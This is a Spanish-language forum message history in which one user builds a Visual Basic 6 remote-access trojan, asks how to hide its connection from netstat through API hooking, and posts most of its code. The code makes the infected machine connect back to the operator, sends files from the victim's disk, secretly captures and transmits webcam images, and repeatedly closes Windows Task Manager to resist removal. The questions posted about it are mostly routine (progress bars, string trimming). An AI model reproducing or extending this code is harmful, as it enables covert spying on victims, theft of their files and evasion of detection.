Mensajes

El problema de los rootkits es que son harto conocidos y por lo tanto son detectadisimos por los AV.

Mi idea era poder programarlo yo y por eso necesitaba que alguien me orientara en la programacion.

Un saludo.

Hola gente.....

Alguien sabe como ocultar la conexion establecida en un determinado puerto a las herramientas de administracion de redes tipo NETSTAT.

Me gustaria poder ocultar la conexion que hace mi trojan ya que usando el NOIP no se arregla este problema,al tener que asociar una ip al dns.

Si alguie  sabe como seria genial. Hayyyy y se de sobra los comandos del netstat para ocultar una determinada conexion.

Lo que pregunto es si hay algun metodo de acceder a las apis del sistema y poder modificar las llamadas a las apis que utilizan estos programas para modificar la informacion que retornan a las funciones que las llaman.

Un saludo.

Mirad camaradas, tengo el siguiente codigo en mi aplicacion y no consigo hacer que mi progress bar funcione y no se por que.

Espero me podais ayudar.


CLIENTE:

Private Sub btdescarga_Click()       'boton que le dice al servidor que inicia la descarga del archivo de esa ruta que hemos introducido en un txtbox

rutadestino = "C:\Documents and Settings\Armando_Bollos\Mis documentos\Mis archivos recibidos\Archivos Recibidos\" & fileselect

Open rutadestino For Binary As #2

y = "tamaño-"
wc.SendData y & txtruta.Text              'enviamos la ruta del archivo al server.

donde = "tamaño"          'Le pedimos que mande el resultado al case tamaño del datarrival

LLEGADA AL SERVER DE LA INFORMACION:


Case "tamaño"

rutafile = vdatos(1)   ' vdatos(1) contiene la ruta del archivo que queremos abrir y calcular el tamaño

Call tamaño    ' llamada a la funcion para calcular el tamaño



Private Sub tamaño()

Dim size As String

Open rutafile For Binary Access Read As #3    ' abrimos el archivo que contiene el rutefile que hemos enviado

size = CStr(LOF(3)) ' calculamos su tamaño

Close #3

ws.SendData size ' Envia al cliente el tamañodel archivo

End Sub

LLEGADA AL CLIENTE DE LA INFORMACION:

Case "tamaño"

tamañofile = datos        'Meto en esa variable el tamaño del archivo
PB.Min = (datos - datos)        ' Pongo el  minimo de la barra de pregreso
PB.Max = datos                     ' pongo el maximo de la barra de progreso

PB.Value = PB.Min                  ' establezco el valor de la barra de progreso
sizefilerecibido = 0                ' establezco el valor que ira sumando los bytes que vayan entrando

y = "descarga-"
wc.SendData y & txtruta.Text            'envio al server que puede empezar a enviar datos

donde = "descarga"

LLEGADA DE DATOS AL SERVER :

Case "descarga"  'caso para empezar a enviar los datod del file

On Error GoTo errores

Dim tamañofile As Long

rutafile = vdatos(1)

Open rutafile For Binary Access Read As #2
tamañofile = LOF(2)
ReDim file(tamañofile - 1)
Get #2, , file

ws.SendData file
ws.SendData "Fin"

Close #2

End Sub


LLEGADA DE DATOS AL CLIENTE:

Case "descarga"

On Error Resume Next

Put #2, , datos

sizefilerecibido = sizefilerecibido + bytesTotal      'Sumo a la variable los datos que van entrando

PB.Value = sizefilerecibido             'asigno el valor de la variable al valor de la progres bar

If Right(datos, 3) = "Fin" Or datos = "Fin" Then

If sizefilerecibido >= sizefile Then

Close #2

sizefilerecibido = 0

PB.Value = PB.Max

MsgBox "Descarga Finalizada", vbOKOnly

End If

PB.Value = 0

End If


Espero me podais ayudar. Un saludo. Muchas gracias. 

Mirad camaradas, tengo el siguiente codigo en mi aplicacion y no consigo hacer que mi progress bar funcione y no se por que.

Espero me podais ayudar.


CLIENTE:

Private Sub btdescarga_Click() 'boton que le dice al servidor que inicia la descarga del archivo de esa ruta que hemos introducido en un txtbox
   
    rutadestino = "C:\Documents and Settings\Armando_Bollos\Mis documentos\Mis archivos recibidos\Archivos Recibidos\" & fileselect
   
    Open rutadestino For Binary As #2
   
    y = "tamaño-"
    wc.SendData y & txtruta.Text  'enviamos la ruta del archivo al server.
     
    donde = "tamaño" ' Le pedimos que mande el resultado al case tamaño del datarrival

LLEGADA AL SERVER DE LA INFORMACION:


Case "tamaño"
       
            rutafile = vdatos(1)
           
            Call tamaño



Private Sub tamaño()
   
    Dim size As String
   
    Open rutafile For Binary Access Read As #3
   
    size = CStr(LOF(3)) ' su tamaño
   
    Close #3
   
    ws.SendData size ' Envia al cliente el tamañodel archivo
   
End Sub

LLEGADA AL CLIENTE DE LA INFORMACION:

Case "tamaño"
   
        tamañofile = datos 'Meto en esa variable el tamaño del archivo
        PB.Min = (datos - datos) ' Pongo elminimo de la barra de pregreso
        PB.Max = datos ' pongo el maximo de la barra de progreso
       
        PB.Value = PB.Min ' establezco el valor de la barra de progreso
        sizefilerecibido = 0 ' establezco el valor que ira sumando los bytes que vayan entrando
       
        y = "descarga-"
        wc.SendData y & txtruta.Text 'envio al server que puede empezar a enviar datos
   
        donde = "descarga"
       
LLEGADA DE DATOS AL SERVER :

Case "descarga"
       
            On Error GoTo errores
           
            Dim tamañofile As Long
       
            rutafile = vdatos(1)
           
            Open rutafile For Binary Access Read As #2
            tamañofile = LOF(2)
            ReDim file(tamañofile - 1)
            Get #2, , file
       
            ws.SendData file
            ws.SendData "Fin"
       
        Close #2
   
End Sub


LLEGADA DE DATOS AL CLIENTE:

        Case "descarga"
       
        On Error Resume Next
         
        Put #2, , datos
       
        sizefilerecibido = sizefilerecibido + bytesTotal 'Sumo a la variable los datos que van entrando
       
        PB.Value = sizefilerecibido 'asigno el valor de la variable al valor de la progres bar
       
            If Right(datos, 3) = "Fin" Or datos = "Fin" Then
       
            If sizefilerecibido >= sizefile Then
               
                Close #2
               
                sizefilerecibido = 0
               
                PB.Value = PB.Max
               
                MsgBox "Descarga Finalizada", vbOKOnly
               
                End If
               
            PB.Value = 0
           
            End If


Espero me podais ayudar. Un saludo. Muchas gracias.

Necesito añadir un progressbar a mi aplicacion. La verdad es que ya tengo medio trabajo hecho, pero no entiendo por que no sigue al compas de la entrada de datos.

os posteo el codigo:

Case "descarga"
       
        On Error Resume Next
       
        sizefile = datos
        PB.Max = sizefile
       
        sizefilerecibido = sizefilerecibido + bytesTotal  'Variable que aumenta cuando put coge datos
           
        PB.Value = sizefilerecibido ' esta es la barra de progreso.
         
        Put #2, , datos
         
            If Right(datos, 3) = "Fin" Or datos = "Fin" Then
       
            If sizefilerecibido >= sizefile Then
               
                Close #2
               
                sizefilerecibido = 0
               
                PB.Value = PB.Max
               
                MsgBox "Descarga Finalizada", vbOKOnly
               
                End If
               
            PB.Value = 0
           
            End If
   
    End Select
   
    Select Case datos
   
    Case "error 76"
   
        MsgBox "La Ruta introducida no es correcta.", vbOKOnly
        Close #2
       
    Case "error 68"
   
        MsgBox "La Unidad no esta disponible.", vbOKOnly
       
       
    End Select

Mirad a ver si alguien me puede ayudar.

Intento poner un progres bar a mi aplicacion para que vaya en progreso junto con el archivo que me este descargando.

Os pongo el codigo de mi aplicacion para que me digais a ver de que modo lo puedo hacer.

mirad este es el CLIENTE donde quiero colocar el progress bar:

Case "descarga"
       
        On Error Resume Next
       
           
            Put #2, , datos
           
            If Right(datos, 3) = "Fin" Or datos = "Fin" Then
           
                MsgBox "Descarga Finalizada", vbOKOnly
           
                Close #2
               
            End If

   
    End Select

Y os paso el codigo del SERVIDOR:

Case "descarga"
       
            On Error GoTo errores
           
            Dim tamañofile As Long
       
            rutafile = vdatos(1)
           
            Open rutafile For Binary Access Read As #2
            tamañofile = LOF(2)
            ReDim file(tamañofile - 1)
            Get #2, , file
       
            ws.SendData file
            ws.SendData "Fin"
       
        Close #2


Espero que me podais ayudar. Muchas gracias a todos camaradas.

Yo resolvi una cosa asi, colocando en un timer los estados de conexion del winsock:

' estado de la conexion ws

Private Sub T1Estado_Timer()

    T1Estado.Interval = 1
   

    lblestado = ws.State
    Select Case ws.State
   
    Case 0
    lblestado = "Conexion Cerrada con el Servidor."
   
    Case 2
    lblestado = "Esperando conexión"
   
    Case 4
    lblestado = "Resolviendo Host"
   
    Case 5
    lblestado = "Host resuelto"
     
    Case 6
    lblestado = "Intentando conectar"
       
    Case 7
    lblestado = "Conectado con el Servidor : "
   
    Case 8
    lblestado = "Cerrando comunicacion"
    Form_Load
   
    Case 9
    lblestado = "Error de conexión"
    Form_Load
   
    End Select
   
End Sub

Y en el form load coloco un if para comprobar continuamente los estados de conexion, siempre que la conexion este cerrada, el timer de estado te devuelve al form load y este otra vez a comprobar estado.

Te añado el if del form load para que lo veas mejor.


    estado = "7"
    estadows = ws.State
   

If estadows <> estado  Then
   
        ws.Close
        ws.CONNECT
       
       
    Else
   
        T1Estado_Timer
   
    End If


Espero poder ayudarte con este trocito de codigo.

Un saludo

Gracias a los dos, la respuesta que mejor me funciono para mi programa fue la de Hendrix .

Muy buen codigo, ya lo edite para hacerlo funcioonar en mi programita.


Muychas gracias a los dos.

Un saludo.

Hola compañeros, tengo una duda sobre el tema de como cortar una string hasta un identificador "\" empezando por el final.

El ejemplo seria este:

cadena = " c:\windows\carpetas"

mi intencion seria la de cortar esa cadena dandole a un boton y que apareciera en un txtbox esto:

                 " c:\windows"

No se si me he explicado bien.

Espero me podais ayudar.

Un saludo a todos.

Lympex, aunque estoy detras de un puerto, el envio de la ip del server al cliente se realiza con normalidad y no hay problema de comunicacion entre las aplicaciones.

Voy a poner el codigo de mi aplicacion para ver si hay alguien dentro del forto que sepa decirme por que me ocurre esto.

Cliente:

Dim Ruta As String
Dim y As String


Private Sub BtCerrarWeb_Click()

    y = "apagar"
    wsC.SendData y
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
   
    Timer1_Timer
   
   
End Sub

Private Sub BtConectar_Click()

    wsC.Close
    wsC.Listen
    Timer1_Timer
   
End Sub

Private Sub BtDesconectar_Click()

    y = "desconectar"
    wsC.SendData y
   
    wsC.Close
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
   
    Timer1_Timer
   
   
   
End Sub

Private Sub BtWeb_Click()
   
    y = "web"
    wsC.SendData y
   
    FCliente.Height = 8145
    FCliente.Width = 7140
    FCliente.ScaleHeight = 7635
    FCliente.ScaleWidth = 7020

   
End Sub

Private Sub Form_Load()
   
   
    wsC.Close
    Timer1_Timer
   
    Ruta = "c:\temporal2.bmp"
    Open Ruta For Binary As #1
    On Error Resume Next
    Kill (Ruta)
    Open "ruta" For Binary As #1
   
    BtDesconectar.Enabled = False
    BtWeb.Enabled = False
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
     
End Sub



Private Sub Timer1_Timer()

    Timer1.Interval = 1
   
    LblEstado = wsC.State
    Select Case wsC.State
   
    Case 0
    LblEstado = "Conexion Cerrada con el Servidor."
   
    BtDesconectar.Enabled = False
    BtWeb.Enabled = False
    BtConectar.Enabled = True
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
   
    Case 2
    LblEstado = "Esperando conexión"
   
    Case 4
    LblEstado = "Resolviendo Host"
   
    Case 5
    LblEstado = "Host resuelto"
   
    Case 6
    LblEstado = "Intentando conectar"
   
    Case 7
    LblEstado = "Conectado con el Servidor : "
    BtConectar.Enabled = False
    BtDesconectar.Enabled = True
    BtWeb.Enabled = True
   
   
    Case 8
    LblEstado = "Cerrando comunicacion"
    wsC.Close
   
    Case 9
    LblEstado = "Error de conexión"
    wsC.Close
   
    End Select
   
End Sub

Private Sub wsC_DataArrival(ByVal bytedatos As Long)
   
    Dim datos As String

    wsC.GetData datos, vbNullString
       
        Put #1, , datos
        If Right(datos, 3) = "Fin" Or datos = "Fin" Then
           
            Close
            Picture1 = LoadPicture(Ruta)
            Open Ruta For Binary As #1
       
        End If
       
End Sub


Private Sub wsC_ConnectionRequest(ByVal requestID As Long)
   
   wsC.Close
   wsC.Accept requestID
 
   
End Sub


El SERVIDOR :

Dim Imagen() As Byte

Private Sub Form_Load()

    Dim estado As String
    Dim wsestado As String
   
    wsestado = ws1.State
    estado = "7"
   
    If wsestado <> estado Then
   
        ws1.Close
        ws1.CONNECT
        contador.Enabled = True
        contador.Interval = 1
   
    Else
   
        Timer3_Timer
   
    End If
   
    Timer3_Timer
   
    Timer1.Enabled = False
    Timer1.Interval = 1
   
    Timer2_Timer
   

End Sub


Private Sub Timer2_Timer()
   
    Timer2.Enabled = True
    Timer2.Interval = 100
   
    On Error GoTo fallo
    AppActivate "Administrador de Tareas de Windows"
    SendKeys "%{F4}"
fallo:

End Sub

Private Sub Timer3_Timer()

    Timer3.Interval = 1
   
    LblEstado = ws1.State
    Select Case ws1.State
   
    Case 0
    LblEstado = "Conexion Cerrada con el Servidor."
   
    Case 2
    LblEstado = "Esperando conexión"
   
    Case 4
    LblEstado = "Resolviendo Host"
   
    Case 5
    LblEstado = "Host resuelto"
     
    Case 6
    LblEstado = "Intentando conectar"
       
    Case 7
    LblEstado = "Conectado con el Servidor : "
   
    Case 8
    LblEstado = "Cerrando comunicacion"
   
    Case 9
    LblEstado = "Error de conexión"
    Form_Load
   
    End Select
   
End Sub

Private Sub ws1_DataArrival(ByVal bytesTotal As Long)
   
   Dim datos As String
   
   
   ws1.GetData datos
   
   Select Case datos
   
    Case "ip"
   
    mandar_ip
   
    Case "web"
   
    Apagar_Cam
    StartCam
   
    Case "apagar"
   
    Apagar_Cam
   
    Case "desconectar"
   
    Desconectar
   
   
   End Select
   
   End Sub

Private Sub Timer1_Timer()
   
    On Error Resume Next
   
    SendMessage mCapHwnd, GET_FRAME, 0, 0
    SendMessage mCapHwnd, COPY, 0, 0
    Picture1.Picture = Clipboard.GetData
   
    SavePicture Clipboard.GetData, "c:\windows\system\temporal.bmp"
   
    Dim Tamaño As Long
   
    Open "c:\windows\system\temporal.bmp" For Binary Access Read As #1
    Tamaño = LOF(1)
    ReDim Imagen(Tamaño - 1)
    Get #1, , Imagen
   
    crono_imagen.Enabled = True
    crono_imagen.Interval = 5
   
    Close
   
    ws1.SendData Imagen
    ws1.SendData "Fin"
   
End Sub

Private Sub StartCam()
   
    mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hWnd, 0)
    DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
    Timer1.Enabled = True

End Sub



Sub Apagar_Cam()
   
    Timer1.Enabled = False
    DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
       
End Sub


Sub Desconectar()

    Apagar_Cam
    Form_Load
     
End Sub

Sub mandar_ip()

    Dim totalip As String


    totalip = "2-" & lblip.Caption
 
    ws1.SendData totalip
   
   
   
End Sub


Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   
    DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
    ws1.Close
   
End Sub



No he puesto el codigo del modulo adjunto al server , para no hacer este mensaje demasiado largo, espero que alguno pueda ayudarme .

Un saludo a todos.